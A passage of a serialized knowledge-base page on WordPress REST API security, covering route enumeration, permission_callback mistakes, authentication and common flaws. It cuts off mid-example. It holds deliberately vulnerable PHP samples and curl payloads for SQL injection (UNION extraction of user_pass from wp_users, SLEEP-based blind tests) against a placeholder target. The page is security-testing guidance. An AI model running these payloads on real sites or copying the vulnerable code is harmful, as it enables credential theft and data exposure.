[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"kb-wordpress-rest-api-security":3,"kb-all-for-nav":2679},{"id":4,"title":5,"body":6,"category":2671,"description":2672,"extension":2673,"meta":2674,"navigation":60,"order":57,"path":2675,"seo":2676,"stem":2677,"__hash__":2678},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-rest-api-security.md","WordPress REST API Security",{"type":7,"value":8,"toc":2648},"minimark",[9,13,17,22,25,168,171,175,358,366,376,414,423,473,476,679,683,688,691,766,770,848,852,919,923,927,933,967,1017,1021,1074,1122,1126,1203,1437,1441,1444,1546,1550,1632,1681,1685,1688,1813,1831,1873,1877,2145,2149,2221,2225,2228,2323,2402,2406,2644],[10,11,5],"h1",{"id":12},"wordpress-rest-api-security",[14,15,16],"p",{},"The WordPress REST API, introduced in core in WordPress 4.7, provides a JSON interface for all WordPress data. It is a high-value attack surface because many plugins register routes with inadequate permission controls, and the API is exposed by default on all WordPress installations.",[18,19,21],"h2",{"id":20},"api-discovery-and-enumeration","API Discovery and Enumeration",[14,23,24],{},"The REST API is accessible via two URL patterns:",[26,27,32],"pre",{"className":28,"code":29,"language":30,"meta":31,"style":31},"language-bash shiki shiki-themes github-light github-dark","# Standard pretty permalink path\nGET https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002F\n\n# Query string fallback (always works regardless of permalink settings)\nGET https:\u002F\u002Ftarget.example.com\u002F?rest_route=\u002F\n\n# Enumerate all registered routes\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002F' | python3 -m json.tool\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002F?rest_route=\u002F' | python3 -m json.tool\n\n# Extract just the route paths\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002F' | \\\n  python3 -c \"import json,sys; data=json.load(sys.stdin); [print(r) for r in data.get('routes', {}).keys()]\"\n","bash","",[33,34,35,44,55,62,68,76,81,87,113,131,136,142,156],"code",{"__ignoreMap":31},[36,37,40],"span",{"class":38,"line":39},"line",1,[36,41,43],{"class":42},"sJ8bj","# Standard pretty permalink path\n",[36,45,47,51],{"class":38,"line":46},2,[36,48,50],{"class":49},"sScJk","GET",[36,52,54],{"class":53},"sZZnC"," https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002F\n",[36,56,58],{"class":38,"line":57},3,[36,59,61],{"emptyLinePlaceholder":60},true,"\n",[36,63,65],{"class":38,"line":64},4,[36,66,67],{"class":42},"# Query string fallback (always works regardless of permalink settings)\n",[36,69,71,73],{"class":38,"line":70},5,[36,72,50],{"class":49},[36,74,75],{"class":53}," https:\u002F\u002Ftarget.example.com\u002F?rest_route=\u002F\n",[36,77,79],{"class":38,"line":78},6,[36,80,61],{"emptyLinePlaceholder":60},[36,82,84],{"class":38,"line":83},7,[36,85,86],{"class":42},"# Enumerate all registered routes\n",[36,88,90,93,97,100,104,107,110],{"class":38,"line":89},8,[36,91,92],{"class":49},"curl",[36,94,96],{"class":95},"sj4cs"," -s",[36,98,99],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002F'",[36,101,103],{"class":102},"szBVR"," |",[36,105,106],{"class":49}," python3",[36,108,109],{"class":95}," -m",[36,111,112],{"class":53}," json.tool\n",[36,114,116,118,120,123,125,127,129],{"class":38,"line":115},9,[36,117,92],{"class":49},[36,119,96],{"class":95},[36,121,122],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002F?rest_route=\u002F'",[36,124,103],{"class":102},[36,126,106],{"class":49},[36,128,109],{"class":95},[36,130,112],{"class":53},[36,132,134],{"class":38,"line":133},10,[36,135,61],{"emptyLinePlaceholder":60},[36,137,139],{"class":38,"line":138},11,[36,140,141],{"class":42},"# Extract just the route paths\n",[36,143,145,147,149,151,153],{"class":38,"line":144},12,[36,146,92],{"class":49},[36,148,96],{"class":95},[36,150,99],{"class":53},[36,152,103],{"class":102},[36,154,155],{"class":95}," \\\n",[36,157,159,162,165],{"class":38,"line":158},13,[36,160,161],{"class":49},"  python3",[36,163,164],{"class":95}," -c",[36,166,167],{"class":53}," \"import json,sys; data=json.load(sys.stdin); [print(r) for r in data.get('routes', {}).keys()]\"\n",[14,169,170],{},"The index response reveals all registered namespaces and routes with their methods and arguments, making reconnaissance trivial.",[18,172,174],{"id":173},"how-routes-are-registered","How Routes Are Registered",[26,176,180],{"className":177,"code":178,"language":179,"meta":31,"style":31},"language-php shiki shiki-themes github-light github-dark","\u002F\u002F register_rest_route( namespace, route, args )\nadd_action( 'rest_api_init', function() {\n    register_rest_route(\n        'my-plugin\u002Fv1',           \u002F\u002F Namespace\n        '\u002Fitems\u002F(?P\u003Cid>\\d+)',     \u002F\u002F Route (regex)\n        [\n            'methods'             => 'GET',\n            'callback'            => 'my_get_item',\n            'permission_callback' => 'my_permission_check',\n            'args'                => [\n                'id' => [\n                    'required'          => true,\n                    'validate_callback' => function($param) {\n                        return is_numeric($param);\n                    },\n                    'sanitize_callback' => 'absint',\n                ],\n            ],\n        ]\n    );\n});\n\nfunction my_permission_check( WP_REST_Request $request ) {\n    return current_user_can( 'read' );\n}\n\nfunction my_get_item( WP_REST_Request $request ) {\n    $id = $request->get_param('id');\n    \u002F\u002F ...\n    return new WP_REST_Response( $data, 200 );\n}\n","php",[33,181,182,187,192,197,205,213,218,223,228,233,238,243,248,253,259,265,271,277,283,289,295,301,306,312,318,324,329,335,341,347,353],{"__ignoreMap":31},[36,183,184],{"class":38,"line":39},[36,185,186],{},"\u002F\u002F register_rest_route( namespace, route, args )\n",[36,188,189],{"class":38,"line":46},[36,190,191],{},"add_action( 'rest_api_init', function() {\n",[36,193,194],{"class":38,"line":57},[36,195,196],{},"    register_rest_route(\n",[36,198,199,202],{"class":38,"line":64},[36,200,201],{},"        'my-plugin\u002Fv1',",[36,203,204],{},"           \u002F\u002F Namespace\n",[36,206,207,210],{"class":38,"line":70},[36,208,209],{},"        '\u002Fitems\u002F(?P\u003Cid>\\d+)',",[36,211,212],{},"     \u002F\u002F Route (regex)\n",[36,214,215],{"class":38,"line":78},[36,216,217],{},"        [\n",[36,219,220],{"class":38,"line":83},[36,221,222],{},"            'methods'             => 'GET',\n",[36,224,225],{"class":38,"line":89},[36,226,227],{},"            'callback'            => 'my_get_item',\n",[36,229,230],{"class":38,"line":115},[36,231,232],{},"            'permission_callback' => 'my_permission_check',\n",[36,234,235],{"class":38,"line":133},[36,236,237],{},"            'args'                => [\n",[36,239,240],{"class":38,"line":138},[36,241,242],{},"                'id' => [\n",[36,244,245],{"class":38,"line":144},[36,246,247],{},"                    'required'          => true,\n",[36,249,250],{"class":38,"line":158},[36,251,252],{},"                    'validate_callback' => function($param) {\n",[36,254,256],{"class":38,"line":255},14,[36,257,258],{},"                        return is_numeric($param);\n",[36,260,262],{"class":38,"line":261},15,[36,263,264],{},"                    },\n",[36,266,268],{"class":38,"line":267},16,[36,269,270],{},"                    'sanitize_callback' => 'absint',\n",[36,272,274],{"class":38,"line":273},17,[36,275,276],{},"                ],\n",[36,278,280],{"class":38,"line":279},18,[36,281,282],{},"            ],\n",[36,284,286],{"class":38,"line":285},19,[36,287,288],{},"        ]\n",[36,290,292],{"class":38,"line":291},20,[36,293,294],{},"    );\n",[36,296,298],{"class":38,"line":297},21,[36,299,300],{},"});\n",[36,302,304],{"class":38,"line":303},22,[36,305,61],{"emptyLinePlaceholder":60},[36,307,309],{"class":38,"line":308},23,[36,310,311],{},"function my_permission_check( WP_REST_Request $request ) {\n",[36,313,315],{"class":38,"line":314},24,[36,316,317],{},"    return current_user_can( 'read' );\n",[36,319,321],{"class":38,"line":320},25,[36,322,323],{},"}\n",[36,325,327],{"class":38,"line":326},26,[36,328,61],{"emptyLinePlaceholder":60},[36,330,332],{"class":38,"line":331},27,[36,333,334],{},"function my_get_item( WP_REST_Request $request ) {\n",[36,336,338],{"class":38,"line":337},28,[36,339,340],{},"    $id = $request->get_param('id');\n",[36,342,344],{"class":38,"line":343},29,[36,345,346],{},"    \u002F\u002F ...\n",[36,348,350],{"class":38,"line":349},30,[36,351,352],{},"    return new WP_REST_Response( $data, 200 );\n",[36,354,356],{"class":38,"line":355},31,[36,357,323],{},[18,359,361,362,365],{"id":360},"the-__return_true-danger","The ",[33,363,364],{},"__return_true"," Danger",[14,367,368,369,371,372,375],{},"The most critical REST API misconfiguration is using ",[33,370,364],{}," as the ",[33,373,374],{},"permission_callback",":",[26,377,379],{"className":177,"code":378,"language":179,"meta":31,"style":31},"\u002F\u002F CRITICALLY VULNERABLE: No authentication required\nregister_rest_route( 'dangerous-plugin\u002Fv1', '\u002Fadmin-data', [\n    'methods'             => 'GET',\n    'callback'            => 'get_all_admin_data',\n    'permission_callback' => '__return_true', \u002F\u002F Anyone can access this\n] );\n",[33,380,381,386,391,396,401,409],{"__ignoreMap":31},[36,382,383],{"class":38,"line":39},[36,384,385],{},"\u002F\u002F CRITICALLY VULNERABLE: No authentication required\n",[36,387,388],{"class":38,"line":46},[36,389,390],{},"register_rest_route( 'dangerous-plugin\u002Fv1', '\u002Fadmin-data', [\n",[36,392,393],{"class":38,"line":57},[36,394,395],{},"    'methods'             => 'GET',\n",[36,397,398],{"class":38,"line":64},[36,399,400],{},"    'callback'            => 'get_all_admin_data',\n",[36,402,403,406],{"class":38,"line":70},[36,404,405],{},"    'permission_callback' => '__return_true',",[36,407,408],{}," \u002F\u002F Anyone can access this\n",[36,410,411],{"class":38,"line":78},[36,412,413],{},"] );\n",[14,415,416,418,419,422],{},[33,417,364],{}," is a WordPress core function that simply returns ",[33,420,421],{},"true",". Using it means any request - authenticated or not - passes the permission check.",[26,424,426],{"className":28,"code":425,"language":30,"meta":31,"style":31},"# Test if a route is publicly accessible\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fdangerous-plugin\u002Fv1\u002Fadmin-data'\n\n# Compare authenticated vs unauthenticated response\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fdangerous-plugin\u002Fv1\u002Fadmin-data'\ncurl -s -u 'admin:password' 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fdangerous-plugin\u002Fv1\u002Fadmin-data'\n",[33,427,428,433,442,446,451,459],{"__ignoreMap":31},[36,429,430],{"class":38,"line":39},[36,431,432],{"class":42},"# Test if a route is publicly accessible\n",[36,434,435,437,439],{"class":38,"line":46},[36,436,92],{"class":49},[36,438,96],{"class":95},[36,440,441],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fdangerous-plugin\u002Fv1\u002Fadmin-data'\n",[36,443,444],{"class":38,"line":57},[36,445,61],{"emptyLinePlaceholder":60},[36,447,448],{"class":38,"line":64},[36,449,450],{"class":42},"# Compare authenticated vs unauthenticated response\n",[36,452,453,455,457],{"class":38,"line":70},[36,454,92],{"class":49},[36,456,96],{"class":95},[36,458,441],{"class":53},[36,460,461,463,465,468,471],{"class":38,"line":78},[36,462,92],{"class":49},[36,464,96],{"class":95},[36,466,467],{"class":95}," -u",[36,469,470],{"class":53}," 'admin:password'",[36,472,441],{"class":53},[14,474,475],{},"Finding this pattern in code:",[26,477,479],{"className":28,"code":478,"language":30,"meta":31,"style":31},"# Find all __return_true permission callbacks\ngrep -rn \"__return_true\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F --include=\"*.php\"\n\n# Find routes with no permission_callback (also vulnerable - defaults to logged-in)\n# Actually defaults to a WP_Error if not set (WordPress 5.5+)\n# But before 5.5 it defaulted to __return_true!\ngrep -rn \"register_rest_route\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F --include=\"*.php\" -A10 | \\\n  grep -v \"permission_callback\"\n\n# More thorough: find register_rest_route blocks missing permission_callback\ngrep -rP \"register_rest_route\\s*\\(\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F \\\n  --include=\"*.php\" -l | while read file; do\n    if grep -q \"register_rest_route\" \"$file\" && ! grep -q \"permission_callback\" \"$file\"; then\n        echo \"MISSING permission_callback: $file\"\n    fi\ndone\n",[33,480,481,486,506,510,515,520,525,548,559,563,568,582,610,656,669,674],{"__ignoreMap":31},[36,482,483],{"class":38,"line":39},[36,484,485],{"class":42},"# Find all __return_true permission callbacks\n",[36,487,488,491,494,497,500,503],{"class":38,"line":46},[36,489,490],{"class":49},"grep",[36,492,493],{"class":95}," -rn",[36,495,496],{"class":53}," \"__return_true\"",[36,498,499],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F",[36,501,502],{"class":95}," --include=",[36,504,505],{"class":53},"\"*.php\"\n",[36,507,508],{"class":38,"line":57},[36,509,61],{"emptyLinePlaceholder":60},[36,511,512],{"class":38,"line":64},[36,513,514],{"class":42},"# Find routes with no permission_callback (also vulnerable - defaults to logged-in)\n",[36,516,517],{"class":38,"line":70},[36,518,519],{"class":42},"# Actually defaults to a WP_Error if not set (WordPress 5.5+)\n",[36,521,522],{"class":38,"line":78},[36,523,524],{"class":42},"# But before 5.5 it defaulted to __return_true!\n",[36,526,527,529,531,534,536,538,541,544,546],{"class":38,"line":83},[36,528,490],{"class":49},[36,530,493],{"class":95},[36,532,533],{"class":53}," \"register_rest_route\"",[36,535,499],{"class":53},[36,537,502],{"class":95},[36,539,540],{"class":53},"\"*.php\"",[36,542,543],{"class":95}," -A10",[36,545,103],{"class":102},[36,547,155],{"class":95},[36,549,550,553,556],{"class":38,"line":89},[36,551,552],{"class":49},"  grep",[36,554,555],{"class":95}," -v",[36,557,558],{"class":53}," \"permission_callback\"\n",[36,560,561],{"class":38,"line":115},[36,562,61],{"emptyLinePlaceholder":60},[36,564,565],{"class":38,"line":133},[36,566,567],{"class":42},"# More thorough: find register_rest_route blocks missing permission_callback\n",[36,569,570,572,575,578,580],{"class":38,"line":138},[36,571,490],{"class":49},[36,573,574],{"class":95}," -rP",[36,576,577],{"class":53}," \"register_rest_route\\s*\\(\"",[36,579,499],{"class":53},[36,581,155],{"class":95},[36,583,584,587,589,592,594,597,600,603,607],{"class":38,"line":144},[36,585,586],{"class":95},"  --include=",[36,588,540],{"class":53},[36,590,591],{"class":95}," -l",[36,593,103],{"class":102},[36,595,596],{"class":102}," while",[36,598,599],{"class":95}," read",[36,601,602],{"class":53}," file",[36,604,606],{"class":605},"sVt8B","; ",[36,608,609],{"class":102},"do\n",[36,611,612,615,618,621,623,626,629,632,635,638,640,642,645,647,649,651,653],{"class":38,"line":158},[36,613,614],{"class":102},"    if",[36,616,617],{"class":49}," grep",[36,619,620],{"class":95}," -q",[36,622,533],{"class":53},[36,624,625],{"class":53}," \"",[36,627,628],{"class":605},"$file",[36,630,631],{"class":53},"\"",[36,633,634],{"class":605}," && ",[36,636,637],{"class":102},"!",[36,639,617],{"class":49},[36,641,620],{"class":95},[36,643,644],{"class":53}," \"permission_callback\"",[36,646,625],{"class":53},[36,648,628],{"class":605},[36,650,631],{"class":53},[36,652,606],{"class":605},[36,654,655],{"class":102},"then\n",[36,657,658,661,664,666],{"class":38,"line":255},[36,659,660],{"class":95},"        echo",[36,662,663],{"class":53}," \"MISSING permission_callback: ",[36,665,628],{"class":605},[36,667,668],{"class":53},"\"\n",[36,670,671],{"class":38,"line":261},[36,672,673],{"class":102},"    fi\n",[36,675,676],{"class":38,"line":267},[36,677,678],{"class":102},"done\n",[18,680,682],{"id":681},"rest-api-authentication-methods","REST API Authentication Methods",[684,685,687],"h3",{"id":686},"_1-cookie-authentication-browser-sessions","1. Cookie Authentication (Browser Sessions)",[14,689,690],{},"For requests originating from the browser, WordPress uses the standard session cookie plus a nonce:",[26,692,694],{"className":28,"code":693,"language":30,"meta":31,"style":31},"# Get REST API nonce from a logged-in session\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002F' | \\\n  grep -oP '\"nonce\":\"?\\K[a-f0-9]+'\n\n# Use session + nonce for authenticated REST request\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt \\\n  -H 'X-WP-Nonce: NONCE_VALUE' \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers'\n",[33,695,696,701,720,730,734,739,751,761],{"__ignoreMap":31},[36,697,698],{"class":38,"line":39},[36,699,700],{"class":42},"# Get REST API nonce from a logged-in session\n",[36,702,703,705,707,710,713,716,718],{"class":38,"line":46},[36,704,92],{"class":49},[36,706,96],{"class":95},[36,708,709],{"class":95}," -b",[36,711,712],{"class":53}," \u002Ftmp\u002Fwp_cookies.txt",[36,714,715],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002F'",[36,717,103],{"class":102},[36,719,155],{"class":95},[36,721,722,724,727],{"class":38,"line":57},[36,723,552],{"class":49},[36,725,726],{"class":95}," -oP",[36,728,729],{"class":53}," '\"nonce\":\"?\\K[a-f0-9]+'\n",[36,731,732],{"class":38,"line":64},[36,733,61],{"emptyLinePlaceholder":60},[36,735,736],{"class":38,"line":70},[36,737,738],{"class":42},"# Use session + nonce for authenticated REST request\n",[36,740,741,743,745,747,749],{"class":38,"line":78},[36,742,92],{"class":49},[36,744,96],{"class":95},[36,746,709],{"class":95},[36,748,712],{"class":53},[36,750,155],{"class":95},[36,752,753,756,759],{"class":38,"line":83},[36,754,755],{"class":95},"  -H",[36,757,758],{"class":53}," 'X-WP-Nonce: NONCE_VALUE'",[36,760,155],{"class":95},[36,762,763],{"class":38,"line":89},[36,764,765],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers'\n",[684,767,769],{"id":768},"_2-application-passwords-wordpress-56","2. Application Passwords (WordPress 5.6+)",[26,771,773],{"className":28,"code":772,"language":30,"meta":31,"style":31},"# Generate application password via REST API (must be already authenticated)\ncurl -s -u 'admin:password' -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002F1\u002Fapplication-passwords' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"name\":\"Security Test\"}'\n\n# Use application password for subsequent requests\ncurl -s -u 'admin:xxxx xxxx xxxx xxxx xxxx xxxx' \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers'\n",[33,774,775,780,798,805,814,822,826,831,844],{"__ignoreMap":31},[36,776,777],{"class":38,"line":39},[36,778,779],{"class":42},"# Generate application password via REST API (must be already authenticated)\n",[36,781,782,784,786,788,790,793,796],{"class":38,"line":46},[36,783,92],{"class":49},[36,785,96],{"class":95},[36,787,467],{"class":95},[36,789,470],{"class":53},[36,791,792],{"class":95}," -X",[36,794,795],{"class":53}," POST",[36,797,155],{"class":95},[36,799,800,803],{"class":38,"line":57},[36,801,802],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002F1\u002Fapplication-passwords'",[36,804,155],{"class":95},[36,806,807,809,812],{"class":38,"line":64},[36,808,755],{"class":95},[36,810,811],{"class":53}," 'Content-Type: application\u002Fjson'",[36,813,155],{"class":95},[36,815,816,819],{"class":38,"line":70},[36,817,818],{"class":95},"  -d",[36,820,821],{"class":53}," '{\"name\":\"Security Test\"}'\n",[36,823,824],{"class":38,"line":78},[36,825,61],{"emptyLinePlaceholder":60},[36,827,828],{"class":38,"line":83},[36,829,830],{"class":42},"# Use application password for subsequent requests\n",[36,832,833,835,837,839,842],{"class":38,"line":89},[36,834,92],{"class":49},[36,836,96],{"class":95},[36,838,467],{"class":95},[36,840,841],{"class":53}," 'admin:xxxx xxxx xxxx xxxx xxxx xxxx'",[36,843,155],{"class":95},[36,845,846],{"class":38,"line":115},[36,847,765],{"class":53},[684,849,851],{"id":850},"_3-jwt-authentication-via-plugins","3. JWT Authentication (via plugins)",[26,853,855],{"className":28,"code":854,"language":30,"meta":31,"style":31},"# Get JWT token\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fjwt-auth\u002Fv1\u002Ftoken' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"admin\",\"password\":\"password\"}'\n\n# Use JWT token\ncurl -s -H 'Authorization: Bearer EYTOKEN...' \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers'\n",[33,856,857,862,877,885,892,896,901,915],{"__ignoreMap":31},[36,858,859],{"class":38,"line":39},[36,860,861],{"class":42},"# Get JWT token\n",[36,863,864,866,868,870,872,875],{"class":38,"line":46},[36,865,92],{"class":49},[36,867,96],{"class":95},[36,869,792],{"class":95},[36,871,795],{"class":53},[36,873,874],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fjwt-auth\u002Fv1\u002Ftoken'",[36,876,155],{"class":95},[36,878,879,881,883],{"class":38,"line":57},[36,880,755],{"class":95},[36,882,811],{"class":53},[36,884,155],{"class":95},[36,886,887,889],{"class":38,"line":64},[36,888,818],{"class":95},[36,890,891],{"class":53}," '{\"username\":\"admin\",\"password\":\"password\"}'\n",[36,893,894],{"class":38,"line":70},[36,895,61],{"emptyLinePlaceholder":60},[36,897,898],{"class":38,"line":78},[36,899,900],{"class":42},"# Use JWT token\n",[36,902,903,905,907,910,913],{"class":38,"line":83},[36,904,92],{"class":49},[36,906,96],{"class":95},[36,908,909],{"class":95}," -H",[36,911,912],{"class":53}," 'Authorization: Bearer EYTOKEN...'",[36,914,155],{"class":95},[36,916,917],{"class":38,"line":89},[36,918,765],{"class":53},[18,920,922],{"id":921},"common-rest-api-vulnerabilities","Common REST API Vulnerabilities",[684,924,926],{"id":925},"_1-missing-permission_callback","1. Missing permission_callback",[14,928,929,930,932],{},"Before WordPress 5.5, omitting ",[33,931,374],{}," defaulted to open access. Some plugins still have this pattern:",[26,934,936],{"className":177,"code":935,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: No permission_callback key at all\nregister_rest_route( 'my-plugin\u002Fv1', '\u002Fexport', [\n    'methods'  => 'GET',\n    'callback' => 'export_all_user_data',\n    \u002F\u002F No permission_callback!\n] );\n",[33,937,938,943,948,953,958,963],{"__ignoreMap":31},[36,939,940],{"class":38,"line":39},[36,941,942],{},"\u002F\u002F VULNERABLE: No permission_callback key at all\n",[36,944,945],{"class":38,"line":46},[36,946,947],{},"register_rest_route( 'my-plugin\u002Fv1', '\u002Fexport', [\n",[36,949,950],{"class":38,"line":57},[36,951,952],{},"    'methods'  => 'GET',\n",[36,954,955],{"class":38,"line":64},[36,956,957],{},"    'callback' => 'export_all_user_data',\n",[36,959,960],{"class":38,"line":70},[36,961,962],{},"    \u002F\u002F No permission_callback!\n",[36,964,965],{"class":38,"line":78},[36,966,413],{},[26,968,970],{"className":28,"code":969,"language":30,"meta":31,"style":31},"# Test unauthenticated access\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fexport'\n\n# Look for \"rest_forbidden\" vs actual data in response\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fexport' | \\\n  python3 -c \"import json,sys; d=json.load(sys.stdin); print(d.get('code','no code'))\"\n",[33,971,972,977,986,990,995,1008],{"__ignoreMap":31},[36,973,974],{"class":38,"line":39},[36,975,976],{"class":42},"# Test unauthenticated access\n",[36,978,979,981,983],{"class":38,"line":46},[36,980,92],{"class":49},[36,982,96],{"class":95},[36,984,985],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fexport'\n",[36,987,988],{"class":38,"line":57},[36,989,61],{"emptyLinePlaceholder":60},[36,991,992],{"class":38,"line":64},[36,993,994],{"class":42},"# Look for \"rest_forbidden\" vs actual data in response\n",[36,996,997,999,1001,1004,1006],{"class":38,"line":70},[36,998,92],{"class":49},[36,1000,96],{"class":95},[36,1002,1003],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fexport'",[36,1005,103],{"class":102},[36,1007,155],{"class":95},[36,1009,1010,1012,1014],{"class":38,"line":78},[36,1011,161],{"class":49},[36,1013,164],{"class":95},[36,1015,1016],{"class":53}," \"import json,sys; d=json.load(sys.stdin); print(d.get('code','no code'))\"\n",[684,1018,1020],{"id":1019},"_2-sql-injection-in-route-parameters","2. SQL Injection in Route Parameters",[26,1022,1024],{"className":177,"code":1023,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: User-supplied parameter injected into query\nfunction search_callback( WP_REST_Request $request ) {\n    global $wpdb;\n    $term = $request->get_param('term');\n    \u002F\u002F Direct injection - no prepare()\n    $results = $wpdb->get_results(\n        \"SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%$term%'\"\n    );\n    return rest_ensure_response( $results );\n}\n",[33,1025,1026,1031,1036,1041,1046,1051,1056,1061,1065,1070],{"__ignoreMap":31},[36,1027,1028],{"class":38,"line":39},[36,1029,1030],{},"\u002F\u002F VULNERABLE: User-supplied parameter injected into query\n",[36,1032,1033],{"class":38,"line":46},[36,1034,1035],{},"function search_callback( WP_REST_Request $request ) {\n",[36,1037,1038],{"class":38,"line":57},[36,1039,1040],{},"    global $wpdb;\n",[36,1042,1043],{"class":38,"line":64},[36,1044,1045],{},"    $term = $request->get_param('term');\n",[36,1047,1048],{"class":38,"line":70},[36,1049,1050],{},"    \u002F\u002F Direct injection - no prepare()\n",[36,1052,1053],{"class":38,"line":78},[36,1054,1055],{},"    $results = $wpdb->get_results(\n",[36,1057,1058],{"class":38,"line":83},[36,1059,1060],{},"        \"SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%$term%'\"\n",[36,1062,1063],{"class":38,"line":89},[36,1064,294],{},[36,1066,1067],{"class":38,"line":115},[36,1068,1069],{},"    return rest_ensure_response( $results );\n",[36,1071,1072],{"class":38,"line":133},[36,1073,323],{},[26,1075,1077],{"className":28,"code":1076,"language":30,"meta":31,"style":31},"# SQL injection via REST API parameter\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fsearch?term=test%27%20UNION%20SELECT%201,user_login,user_pass,4,5,6,7,8,9,10,11%20FROM%20wp_users--+-'\n\n# Time-based blind via REST API\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fsearch?term=test%27%20AND%20SLEEP(5)--+-\"\ntime curl -s \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fsearch?term=test%27%20AND%20SLEEP(5)--+-\"\n",[33,1078,1079,1084,1093,1097,1102,1111],{"__ignoreMap":31},[36,1080,1081],{"class":38,"line":39},[36,1082,1083],{"class":42},"# SQL injection via REST API parameter\n",[36,1085,1086,1088,1090],{"class":38,"line":46},[36,1087,92],{"class":49},[36,1089,96],{"class":95},[36,1091,1092],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fsearch?term=test%27%20UNION%20SELECT%201,user_login,user_pass,4,5,6,7,8,9,10,11%20FROM%20wp_users--+-'\n",[36,1094,1095],{"class":38,"line":57},[36,1096,61],{"emptyLinePlaceholder":60},[36,1098,1099],{"class":38,"line":64},[36,1100,1101],{"class":42},"# Time-based blind via REST API\n",[36,1103,1104,1106,1108],{"class":38,"line":70},[36,1105,92],{"class":49},[36,1107,96],{"class":95},[36,1109,1110],{"class":53}," \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fsearch?term=test%27%20AND%20SLEEP(5)--+-\"\n",[36,1112,1113,1116,1119],{"class":38,"line":78},[36,1114,1115],{"class":102},"time",[36,1117,1118],{"class":605}," curl -s ",[36,1120,1121],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fsearch?term=test%27%20AND%20SLEEP(5)--+-\"\n",[684,1123,1125],{"id":1124},"_3-idor-insecure-direct-object-reference","3. IDOR (Insecure Direct Object Reference)",[26,1127,1129],{"className":177,"code":1128,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Permission check doesn't verify ownership\nregister_rest_route( 'my-plugin\u002Fv1', '\u002Fnotes\u002F(?P\u003Cid>\\d+)', [\n    'methods'             => 'GET',\n    'callback'            => 'get_note',\n    'permission_callback' => 'is_user_logged_in', \u002F\u002F Only checks login, not ownership\n] );\n\nfunction get_note( WP_REST_Request $request ) {\n    global $wpdb;\n    $id = absint( $request->get_param('id') );\n    \u002F\u002F Returns any note regardless of owner\n    return $wpdb->get_row(\n        $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}notes WHERE id = %d\", $id )\n    );\n}\n",[33,1130,1131,1136,1141,1145,1150,1158,1162,1166,1171,1175,1180,1185,1190,1195,1199],{"__ignoreMap":31},[36,1132,1133],{"class":38,"line":39},[36,1134,1135],{},"\u002F\u002F VULNERABLE: Permission check doesn't verify ownership\n",[36,1137,1138],{"class":38,"line":46},[36,1139,1140],{},"register_rest_route( 'my-plugin\u002Fv1', '\u002Fnotes\u002F(?P\u003Cid>\\d+)', [\n",[36,1142,1143],{"class":38,"line":57},[36,1144,395],{},[36,1146,1147],{"class":38,"line":64},[36,1148,1149],{},"    'callback'            => 'get_note',\n",[36,1151,1152,1155],{"class":38,"line":70},[36,1153,1154],{},"    'permission_callback' => 'is_user_logged_in',",[36,1156,1157],{}," \u002F\u002F Only checks login, not 